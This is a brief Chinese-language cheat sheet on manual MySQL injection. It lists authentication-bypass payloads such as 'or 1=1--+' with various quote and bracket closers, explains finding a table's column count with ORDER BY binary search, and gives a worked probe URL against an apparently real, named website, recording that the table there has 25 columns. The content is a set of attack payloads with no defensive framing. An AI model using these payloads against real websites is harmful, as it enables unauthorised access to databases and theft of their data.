mysql手工注入.md
mysql手工注入
注释后面语句(引号闭合)
常用的注释payload
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
查询字段数目（）
查询字段数目主要利用MySQL里面的 order by 来判断字段数目，order by一般采用数学中的对半查找来判断具体的字段数目
[http://www.yuebooemt.com/about.php?id=37%20order%20by%2032%20--+](http://www.yuebooemt.com/about.php?id=37 order by 32 --+)
查找当前表的列数（25列）
